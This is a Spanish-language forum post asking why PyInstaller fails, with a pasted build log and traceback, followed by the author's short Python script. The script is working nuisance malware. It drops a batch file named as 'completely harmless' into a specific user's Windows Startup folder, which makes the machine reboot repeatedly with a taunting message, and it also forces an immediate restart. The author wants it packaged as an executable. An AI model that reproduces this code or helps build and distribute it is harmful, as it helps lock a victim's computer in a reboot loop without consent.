al poner

└─$ pyinstaller rA.py
sale

25 INFO: PyInstaller: 3.5+498e6ee058
25 INFO: Python: 3.9.2
27 INFO: Platform: Linux-5.10.0-kali7-amd64-x86_64-with-glibc2.31
27 INFO: wrote /home/vl4kc/weasb/carpeta de python/scrips/rA.spec
30 INFO: UPX is available.
31 INFO: Extending PYTHONPATH with paths
['/home/vl4kc/weasb/carpeta de python/scrips',
'/home/vl4kc/weasb/carpeta de python/scrips']
32 INFO: checking Analysis
32 INFO: Building Analysis because Analysis-00.toc is non existent
32 INFO: Initializing module dependency graph...
35 INFO: Initializing module graph hooks...
36 INFO: Analyzing base_library.zip ...
2115 INFO: Processing pre-find module path hook distutils
4951 INFO: running Analysis Analysis-00.toc
4976 INFO: Caching module hooks...
4979 INFO: Analyzing /home/vl4kc/weasb/carpeta de python/scrips/rA.py
4984 INFO: Loading module hooks...
4985 INFO: Loading module hook "hook-pydoc.py"...
4985 INFO: Loading module hook "hook-distutils.py"...
4987 INFO: Loading module hook "hook-encodings.py"...
5026 INFO: Loading module hook "hook-xml.etree.cElementTree.py"...
5026 INFO: Loading module hook "hook-xml.py"...
5114 INFO: Loading module hook "hook-sysconfig.py"...
5119 INFO: Loading module hook "hook-_tkinter.py"...
5193 INFO: checking Tree
5193 INFO: Building Tree because Tree-00.toc is non existent
5193 INFO: Building Tree Tree-00.toc
5197 INFO: checking Tree
5197 INFO: Building Tree because Tree-01.toc is non existent
5197 INFO: Building Tree Tree-01.toc
5200 INFO: Loading module hook "hook-lib2to3.py"...
5210 INFO: Looking for ctypes DLLs
5231 INFO: Analyzing run-time hooks ...
5233 INFO: Including run-time hook 'pyi_rth_multiprocessing.py'
5236 INFO: Including run-time hook 'pyi_rth__tkinter.py'
5241 INFO: Looking for dynamic libraries
5650 INFO: Looking for eggs
5650 INFO: Python library not in binary dependencies. Doing additional searching...
5690 INFO: Using Python library /lib/x86_64-linux-gnu/libpython3.9.so.1.0
5695 INFO: Warnings written to /home/vl4kc/weasb/carpeta de python/scrips/build/rA/warn-rA.txt
5735 INFO: Graph cross-reference written to /home/vl4kc/weasb/carpeta de python/scrips/build/rA/xref-rA.html
5758 INFO: checking PYZ
5758 INFO: Building PYZ because PYZ-00.toc is non existent
5758 INFO: Building PYZ (ZlibArchive) /home/vl4kc/weasb/carpeta de python/scrips/build/rA/PYZ-00.pyz
Traceback (most recent call last):
File "/usr/bin/pyinstaller", line 11, in <module>
load_entry_point('PyInstaller==3.5+498e6ee058', 'console_scripts', 'pyinstaller')()
File "/usr/lib/python3/dist-packages/PyInstaller/__main__.py", line 111, in run
run_build(pyi_config, spec_file, **vars(args))
File "/usr/lib/python3/dist-packages/PyInstaller/__main__.py", line 63, in run_build
PyInstaller.building.build_main.main(pyi_config, spec_file, **kwargs)
File "/usr/lib/python3/dist-packages/PyInstaller/building/build_main.py", line 844, in main
build(specfile, kw.get('distpath'), kw.get('workpath'), kw.get('clean_build'))
File "/usr/lib/python3/dist-packages/PyInstaller/building/build_main.py", line 791, in build
exec(code, spec_namespace)
File "/home/vl4kc/weasb/carpeta de python/scrips/rA.spec", line 18, in <module>
pyz = PYZ(a.pure, a.zipped_data,
File "/usr/lib/python3/dist-packages/PyInstaller/building/api.py", line 98, in __init__
self.__postinit__()
File "/usr/lib/python3/dist-packages/PyInstaller/building/datastruct.py", line 158, in __postinit__
self.assemble()
File "/usr/lib/python3/dist-packages/PyInstaller/building/api.py", line 128, in assemble
self.code_dict = {
File "/usr/lib/python3/dist-packages/PyInstaller/building/api.py", line 129, in <dictcomp>
key: strip_paths_in_code(code)
File "/usr/lib/python3/dist-packages/PyInstaller/building/utils.py", line 652, in strip_paths_in_code
consts = tuple(
File "/usr/lib/python3/dist-packages/PyInstaller/building/utils.py", line 653, in <genexpr>
strip_paths_in_code(const_co, new_filename)
File "/usr/lib/python3/dist-packages/PyInstaller/building/utils.py", line 652, in strip_paths_in_code
consts = tuple(
File "/usr/lib/python3/dist-packages/PyInstaller/building/utils.py", line 653, in <genexpr>
strip_paths_in_code(const_co, new_filename)
File "/usr/lib/python3/dist-packages/PyInstaller/building/utils.py", line 660, in strip_paths_in_code
return code_func(co.co_argcount, co.co_kwonlyargcount, co.co_nlocals, co.co_stacksize,
TypeError: an integer is required (got type bytes)



este es mi codigo


import subprocess

virusBat=open("C:/Users/CHON-PIRAS/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/archivo-completamente-inofensivo.bat","w")

virusBat.write("@echo off \n shutdown -r -t 1994 -c hola tarola tu computadora se reiniciara por toda la eternidad ")

subprocess.call("shutdown -r ")

ya que llegaste aca... en mi pc windows no puedo me sale un mensaje de error del pyinstaller como si no existiese en mi linux llega hasta ahi nomaspero al menos crea algo me parece que buil esta completa pero la dist no tiene nada esta vacia y se crea un archivo rA.spec
gracias